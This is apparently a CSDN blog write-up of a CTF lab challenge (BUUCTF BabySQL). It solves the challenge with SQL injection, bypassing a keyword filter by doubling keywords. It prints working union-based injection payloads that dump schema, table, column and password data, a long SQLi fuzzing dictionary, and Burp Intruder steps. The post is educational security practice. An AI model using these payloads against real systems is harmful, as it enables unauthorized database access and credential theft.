BUUCTF靶场练习——第五周

[极客大挑战 2019]BabySQL

从题目名称可以猜测这应该是一道sql注入的题目,打开靶机,又是熟悉的界面,直接开始判断注入点,用户名处用单引号测试有报错信息

在这里插入图片描述

从报错信息来看,很可能就是单引号包裹,开始用order by判断字段数,发现还是报错,根据报错结果猜测可能是把or和by给过滤了,那就不能使用floor报错函数进行报错注入了

floor报错注入基于group by来产生主键冗余从而产生报错注入

在这里插入图片描述

尝试用union select来判断一下字段数,发现union select应该也被过滤了,那么就无法进行联合查询注入了,另外还尝试了使用UNION SELECT以及ORDER BY进行查询,同样会被过滤,而select的过滤会导致无法进行报错注入以及布尔盲注和时间盲注

在这里插入图片描述

而不需要以来select和by的有堆叠注入,尝试一下堆叠注入,发现同样还是报错,好像是过滤了第一个分号

在这里插入图片描述

居然连堆叠注入也被过滤,过滤了这么多,很可能就是考察绕过技巧了,尝试一下大小写绕过——不成功,尝试注释绕过1'/**/UNION/**/SELECT/**/1,2,3#,连星号*都过滤——不成功,尝试使用url编码1%27%20union%20select%201%2C2%2C3%23——不成功,尝试双写绕过1' ununionion seselectlect 1,2,3#,!!!,居然成功了,泪目

在这里插入图片描述

接下来就是常规爆表爆库爆字段爆值找flag了,但是1' ununionion seselectlect 1,2,group_concat(schema_name) from information_schema.schemata#查询数据库名时发生如下报错,让人很摸不着头脑,后来才发现原来这是MariaDB数据库,是和MySQL数据库不同的另一种数据库,而information_schema是MySQL5.5以上版本自带的,因此是无法以这种方式来查询数据库相关信息的

MariaDB数据库管理系统是MySQL的一个分支,开发这个分支的原因之一是甲骨文公司收购了MySQL后,有将MySQL闭源的潜在风险,因此社区采用分支的方式来避开这个风险;MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品
MariaDB和MySQL的区别:相对于MySQL来说,在性能、功能、管理、NoSQL扩展方面,MariaDB包含了更丰富的特性。比如微秒的支持、线程池、子查询优化、组提交、进度报告等。

在这里插入图片描述

百度之后发现还存在sys.schema_auto_increment_columns和sys.schema_table_statistics_with_buffer这两个视图存放着一些表名列名信息;此外,还有mysql默认存储引擎innoDB携带的表 mysql.innodb_table_stats和 mysql.innodb_index_stats,这两张表都存在database_name和table_name字段,可以进行查询

sys.schema_auto_increment_columns是MySQL5.7新增的sys数据库下的一个视图,基础数据来自于information_schema,他的作用是对表的自增ID进行监控,即若某张表存在自增ID,就可以通过该视图来获取其表名和所在数据库名
sys.schema_table_statistics_with_buffer是sys数据库下的视图,里面存储着所有数据库所有表的统计信息,与之相似的视图还有:sys.x s c h e m a t a b l e s t a t i s t i c s w i t h b u f f e r 、 s y s . x schema_table_statistics_with_buffer、sys.x schematablestatisticswithbuffersys.xschema_table_statistics_with_buffer、sys.x$ps_schema_table_statistics_io

尝试使用上面提到的几个表来进行查询,1' ununionion seselectlect 1,2,group_concat(table_schema) from sys.schema_auto_increment_columns#1' ununionion seselectlect 1,2,group_concat(table_schema) from sys.schema_table_statistics_with_buffer#,尝试这两个语句进行查询,发现报错都与前面使用information_schema来查询类似,都是在点号.处就截断并报错,或许不是information_schema的问题,而是网站对输入进行了检查,不允许点号.出现,一旦出现就在点号处截断并报错

但是以上可以查询到数据库数据信息的查询语句都涉及到点号,那如何可以绕过这个点号的限制呢?或许是一些我不会的利用姿势,看下大佬的writeup学习一下吧

原来这道题考察的是双写绕过的知识,通过fuzz检测过滤的关键字,再通过双写绕过即可查询数据库信息

根据网上的一些资料,整理了以下这个fuzz字典,以后再不断进行补充,对sql注入题目通过fuzz测试可以帮助提供注入思路

UNION
union
SELECT
select 
SESELECTLECT
seselectlect
OR
or
OORR
oorr
AND
and
AANDND
aandnd
INFORMATION
information
SCHEMA
schema
INFORMATION_SCHEMA
infromation_schema
SCHEMA_NAME
schema_name
DATABASE_NAME
database_name
TABLE_NAME
table_name
TABLE_SCHEMA
table_schema
COLUMN_NAME
column_name
USERS
users
USER
user
TABLES
tables
COLUMNS
columns
COLUMN
column
BY
by
SHOW
show
ASCII
ascii
DATABASE
database
DATABASES
databases
LENGTH
length 
GROUP
group
ORDER
order
WHERE
where
TABLE
table
GROUP_CONCAT
group_concat
FLOOR
floor
SLEEP
sleep
FROM
from
SUBSTRING
substring
VERSION
version
ORD
ord
COUNT
count
HANDLER
handler
LIMIT
limit
UPDATAXML
updatexml
SUBSTR
substr
EXTRACTVALUE
extractvalue
CONCAT
concat
CONCAT_WS
concat_ws
RAND
rand
AS
as
SYS.SCHEMA_AUTO_INCREMENT_COLUMNS
sys.schema_auto_increment_columns
SYS.SCHEMA_TABLE_STATISTICS_WITH_BUFFER
sys.schema_table_statistics_with_buffer
MYSQL.INNODB_TABLE_STATS
mysql.innodb_table_stats
MYSQL.INNODB_INDEX_STATS
mysql.innodb_index_stats

******************************************************

'
"
`
.
,
;
*
#
+
--+
(
>
<
<>
^
)
=

******************************************************

DELETE
delete
HAVING
having
INSERT
insert
CREATE
create
UPDATE
update
VARCHAR
varchar
ALTER
alter
SET
set
USING
using
VALUE
value
VALUES
values
REVERSE
reverse
END
end
ADD
add
PREPARE
prepare
DROP
drop
INSET
inset
INTO
into
LEAVE
leave
LEVEL
level
LIKE
like
BENCHMARK
benchmark
LEFT
left
JOIN
join
LEFT
left
RIGHT
right
CAST
cast
CASE
case
IF
if
ELSE
else
NAMES
names
NEXT
next
NULL
null
OF
of
ON
on
XOR
xor
CURSOR
cursor
WHEN
when
MID
mid
FOR
for
BEFORE
before
REGEXP
regexp
RLIKE
rlike
IN
in
SYS SCHEMA
sys schema
SEPARATOR
separator
INFILE
infile
OUTFILE
outfile
INSTR
instr
FORMAT
format
BIN
bin
THEN
then
TRUE
true
FALSE
false
RENAME
rename
REPLACE
replace
SQL
sql

******************************************************

-~
&
&&
\
-- -
--
--
!
%
@
'1'='1
||
/
//
//*
*/*
/**/
|
/*
%0a
%0b
%0c
%0d
%a0
%df

使用burp进行爆破测试,抓包send to intruder,攻击模式选择Sniper狙击手模式,针对username参数进行爆破,load items from file将字典载入,并在options中设置线程数为1(不然会发生429错误),启动!开始爆破

Sniper狙击手模式:单字典,按顺序一个一个参数依次遍历

可以看到长度为726的数据包的响应数据包显示请输入你的账号和密码,说明该关键字被过滤了,可以看到很多关键字都被过滤了,包括union、select、or、and、by、where、sleep、from等等

在这里插入图片描述

从而可以根据过滤情况,使用双写进行绕过,构造以下语句查询数据库信息找到flag{27b50d98-da57-41d2-bda5-c843833371d5}

1' ununionion seselectlect 1,2,3#  --  查询回显位置
1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#  --  查询数据库名
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#  --  查询geek数据库中表名
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geek' aandnd table_name='b4bsql'#  --  查询geek数据库中表b4bsql中的字段名
1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom geek.b4bsql#  --  查询geek数据库中表b4bsql中所有字段值

总结:

  1. 刚开始做,其实对题目的关注点有点偏离方向了,MariaDB和MySQL是差不多兼容的,因此不是数据库的问题
  2. 通过burp进行fuzz测试能够快速了解过滤情况,以便提供注入思路
  3. 使用burp进行爆破时候,老是出现429(网络请求过多)的情况(包括前面第二周也出现了这种情况),需要把线程Number of threads减少,直到不出现429或者出现429比较少的情况;或者也可以设置延时爆破,设置Throttle选择variable并进行参数调整
  4. 了解了几个sql的内置函数
select database();  --  查询当前数据库名
select user();  --  查询当前用户名
select version();  --  查询数据库版本信息

参考文章

  1. SQL注入绕过关键词过滤的小技巧及原理(union select为例). CSDN. Available at here. Accessed: 8 August 2023.
  2. Mysql 和 MariaDB 的区别. CSDN. Available at here. Accessed: 8 August 2023.
  3. mysql注入绕过information_schema过滤. CSDN. Available at here. Accessed: 9 August 2023.
  4. sqli注入fuzz字典—waf fuzz测试,ctf. CSDN. Available at here. Accessed: 10 August 2023.
  5. 极客大挑战 2019]BabySQL. CSDN. Available at here. Accessed: 10 August 2023.
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值